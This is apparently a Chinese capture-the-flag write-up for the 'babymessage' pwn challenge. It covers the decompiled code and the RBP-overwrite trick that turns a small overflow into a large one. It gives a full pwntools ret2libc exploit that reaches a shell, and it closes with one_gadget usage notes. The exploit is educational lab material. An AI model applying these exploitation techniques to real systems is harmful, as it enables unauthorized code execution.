8月国赛-babymessage--one_gadget

checksec

hunter@hunter:~/PWN/国赛$ checksec babymessage
[*] '/home/hunter/PWN/\xe5\x9b\xbd\xe8\xb5\x9b/babymessage'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)
基本操作

IDA

main函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  menu();                                       // 菜单输出
  work();
  return 0;
}

work函数:
__int64 work()
{
  signed int v1; // [rsp+Ch] [rbp-4h]

  bss_mess = (char *)malloc(0x100uLL);
  v1 = bss_mm + 16;
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          puts("choice: ");
          __isoc99_scanf("%d", &bss_mm);
          if ( bss_mm != 1 )
            break;
          leave_name();                         // 最多读入4个字节
        }
        if ( bss_mm != 2 )
          break;
        if ( v1 > 256 )
          v1 = 256;
        leave_message(v1);                      // 读入信息到bss_buf
      }
      if ( bss_mm != 3 )
        break;
      show(v1);
    }
    if ( bss_mm == 4 )
      break;
    puts("invalid choice");
  }
  return 0LL;
}

leave_name函数:
__int64 leave_name()
{
  puts("name: ");
  bss_name[(signed int)read(0, bss_name, 4uLL)] = 0;   //read函数读入4个字节到bss_name段,返回值为5   bss_name[5] = 0相当于加了个边界
  puts("done!\n");
  return 0LL;
}

leave_message函数:
__int64 __fastcall leave_message(unsigned int a1)
{
  int v1; // ST14_4
  __int64 v3; // [rsp+18h] [rbp-8h]

  puts("message: ");
  v1 = read(0, &v3, a1);    //存在微小溢出
  strncpy(bss_mess, (const char *)&v3, v1);
  bss_mess[v1] = 0;   //加边界截至符
  puts("done!\n");
  return 0LL;
}

show函数:
__int64 __fastcall show(unsigned int a1)
{
  printf("%s says: ", bss_name);
  write(1, bss_mess, a1);
  return 0LL;
}

全局变量很多此处列出主要全局变量位置关系:

.bss:00000000006010C0 bss_mm          dd ?                    ; DATA XREF: work+19↑r
.bss:00000000006010C0                                         ; work+31↑o ...
.bss:00000000006010C4                 align 8
.bss:00000000006010C8 ; char *bss_mess
.bss:00000000006010C8 bss_mess        dq ?                    ; DATA XREF: leave_message+3F↑r
.bss:00000000006010C8                                         ; leave_message+59↑r ...
.bss:00000000006010D0 ; _BYTE bss_name[16]
.bss:00000000006010D0 bss_name        db 10h dup(?)           ; DATA XREF: leave_name+15↑o
.bss:00000000006010D0                                         ; leave_name+2E↑o ...
.bss:00000000006010D0 _bss            ends
.bss:00000000006010D0

差不多都是8个字节大小

分析

  • IDA字符串表中没有system,/bin/sh,更没有后门函数。题目给出libc文件,应该是要ret2libc
  • 整个程序看起来很漂亮,但是有两个刺眼的地方
    • work函数中if ( v1 > 256 ) v1 = 256;这句话很完全没必要存在,加上下面:leave_message(v1);这个函数,如果v1成功等于256那么leave_message(v1)函数就存在很大的溢出量了
    • leave_message(v1)函数中读入的字符数量用来覆盖RBP没问题
  • 引入时钟大佬模块(doge)
  • 在IDA汇编代码进入work函数中的if ( v1 > 256 )判断,发现:
    .text:000000000040091A var_4           = dword ptr -4     
    .....
    .....
    .text:000000000040097A                 mov     eax, cs:bss_mm
    .text:0000000000400980                 cmp     eax, 2
    .text:0000000000400983                 jnz     short loc_4009A1
    .text:0000000000400985                 cmp     [rbp+var_4], 100h   //**************************
    .text:000000000040098C                 jle     short leav_message
    .text:000000000040098E                 mov     [rbp+var_4], 100h
    var_4 = -4 在cmp时 就是利用RBP-4处地址的值来和0x100执行 ,结合f5伪代码,此处地址的值大于0x100那么==>v1 == 0x100 ,那么leave_message函数能过实现可控溢出
  • 而我们在执行leave_messsage模块时可以控制RBP,然后返回到work函数,也是说在leave_messsage中覆盖了RBP也就时覆盖了work函数中的RBP。
  • 再进一步:cmp [rbp+var_4], 100h 时比较对象[rbp+var_4]是可控的

思路

  • 第一次执行leave_messsage时构造payload使得RBP指向一个可控的位置,恰好这里使用的关键变量都是全局变量在bss段
  • 在该可控位置输入字符串,这样其在bss中的二进制数可以大于256
  • 再次执行leave_messsage函数
    if ( v1 > 256 )
            v1 = 256;这个判断就会成立,进入下面的语句使得v1==256
  • 构造payload 泄露某函数真实地址
  • 获取licb地址,system,/bin/sh地址,设置返回地址为start,准备get_shell
  • 故技重施让v1==256
  • 执行leave_messsage函数,构造payload获取shell

EXP

from pwn import*
from LibcSearcher import*
context.log_level = 'debug'
libc_0 = ELF('libc-2.27.so')
elf = ELF('babymessage')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
start = 0x0000000004006E0 
pop_rdi_ret = 0x0000000000400ac3
#one_gadget_off = 0x4f3c2
one_gadget_off_0 = 0x10a45c
one_gadget_off = 0x4f3c2

ret = 0x0000000000400646
def choice(n):
    sh.sendlineafter('choice: ',str(n))

def name(n):
    choice(1)
    sh.sendlineafter('name: ',n)

def message(n):
    choice(2)
    sh.send(n)    

def show(n):
    choice(3)

sh = process('./babymessage')
#print sh.recv()
name('cccc')

payload = 'A'*8
payload += p64(0x0000000006010D0+0x4)  //
message(payload)

payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(start)
message(payload)
print sh.recvuntil('done!\n\n')
puts_addr = u64(sh.recv(6).ljust(8,'\x00'))
libc = LibcSearcher('puts',puts_addr)
libc_addr = puts_addr - libc.dump('puts')
libc_addr_0 = puts_addr - libc_0.symbols['puts']
system_addr = libc_addr + libc.dump('system')
bin_sh_addr = libc_addr + libc.dump('str_bin_sh')
one_gadget_addr =libc_addr_0 +  one_gadget_off_0 
print "one_gadget_addr==>"+str(hex(one_gadget_addr))
print "puts_addr==>"+str(hex(puts_addr))
#print sh.recv()

name('cccc')
payload1 = 'A'*8
payload1 += p64(0x0000000006010D0+0x4)
message(payload1)
#print sh.recv()
payload1 += p64(ret)
payload1 += p64(pop_rdi_ret)
payload1 += p64(bin_sh_addr)
payload1 += p64(system_addr)
payload1 += p64(0xdeadbeef)
#gdb.attach(sh)

message(payload1)
#print sh.recv()

sh.interactive()

payload += p64(0x0000000006010D0+0x4)这里加4然后到那个if判断时会减4 :cmp [rbp+var_4], 100h。这样0x0000000006010D0地址处的值就是我们的操作数,这里就是bss_name地址。
结果:

[*] Switching to interactive mode

[DEBUG] Received 0x11 bytes:
    'message: \n'
    'done!\n'
    '\n'
message: 
done!

$ whoami
[DEBUG] Sent 0x7 bytes:
    'whoami\n'
[DEBUG] Received 0x7 bytes:
    'hunter\n'
hunter
$  

EXP~~

  • 针对模块式程序,我们写EXP也最好写对应的自定义函数来调用
  • 面对有很多输出语句的程序别对sh.recv()太执着,context.log_level = ‘debug’可以帮忙解决(因为这个我的EXP,失败了很多次)

总结

这个题的关键就在于如何使得leave_message函数变成高危栈溢出漏洞函数,主要利用了子函数的小漏洞(此处子函数存在对RBP的修改漏洞)返回后对上级函数的影响(此处为RBP保持不变)

  • 所以当没有思路时可以在汇编层思考
  • 上级函数与子函数之间某些寄存器的关联(常见的就是RBP/EBP)

one_gadget工具

libc中带有很多gadget,控制程序跳转到这些位置执行并满足一定的条件就可以拿到shell。

万能one_gadget

指令:one_gadget libc文件

hunter@hunter:~/PWN/国赛$ one_gadget libc-2.27.so   //上面题目的libc文件
0x4f365 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f3c2 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a45c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

可以看到这里显示出这些获取shell的函数地址偏移,只要加上libc_addr就可以用了。
注意到他们下面都有constraints 即使用条件 ,这三个中条件最容易的就是0x4f3c2 的[rsp+0x40] == NULL,也就是说在跳转到这个函数时[rsp+0x40] 栈地址处要为\x00,我们可以用gdb.attach(sh)来进行调试,如果不满足就多放几个ret调整,使得[rsp+0x40]处恰好为NULL

其他one_gadget

指令:后面加-l2参数可以找到更多的gadget。条件可能比较苛刻

hunter@hunter:~/PWN/国赛$ one_gadget libc-2.27.so  -l2
0x4f365 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f3c2 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0xe58b8 execve("/bin/sh", [rbp-0x88], [rbp-0x70])
constraints:
  [[rbp-0x88]] == NULL || [rbp-0x88] == NULL
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe58bf execve("/bin/sh", r10, [rbp-0x70])
constraints:
  [r10] == NULL || r10 == NULL
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe58c3 execve("/bin/sh", r10, rdx)
constraints:
  [r10] == NULL || r10 == NULL
  [rdx] == NULL || rdx == NULL

0x10a45c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

0x10a468 execve("/bin/sh", rsi, [rax])
constraints:
  [rsi] == NULL || rsi == NULL
  [[rax]] == NULL || [rax] == NULL

one_gadget—near功能

指令:one_gadget libc文件 –near 某函数

hunter@hunter:~/PWN/国赛$ one_gadget libc-2.27.so  --near read
[OneGadget] Gadgets near read(0x110180):   //这是read的偏移
0x10a45c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

0x4f3c2 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x4f365 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

可以找到靠近某个函数的one_gadget。

一般libc基地址结尾至少三个000

hunter@hunter:~/PWN/国赛$ ldd babymessage
    linux-vdso.so.1 (0x00007ffc691d1000)     
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f069fd4d000)    <===
    /lib64/ld-linux-x86-64.so.2 (0x00007f06a013e000)
hunter@hunter:~/PWN/国赛$ ldd babymessage
    linux-vdso.so.1 (0x00007ffc22f83000)    
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7507911000)  <======
    /lib64/ld-linux-x86-64.so.2 (0x00007f7507d02000)  
hunter@hunter:~/PWN/国赛$ ldd babymessage
    linux-vdso.so.1 (0x00007ffc4990d000)  
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7f439ca000)   <======
    /lib64/ld-linux-x86-64.so.2 (0x00007f7f43dbb000)

例子:

所以在程序中read函数的真实地址和第一个one_gadget就最后2字节不同。利用这一点我们可以在泄露不了libc的情况下采用尾字节覆盖的方式来强行修改read函数地址成为我们的one_gadget地址

详情见:https://bbs.pediy.com/thread-261112.htm


  目录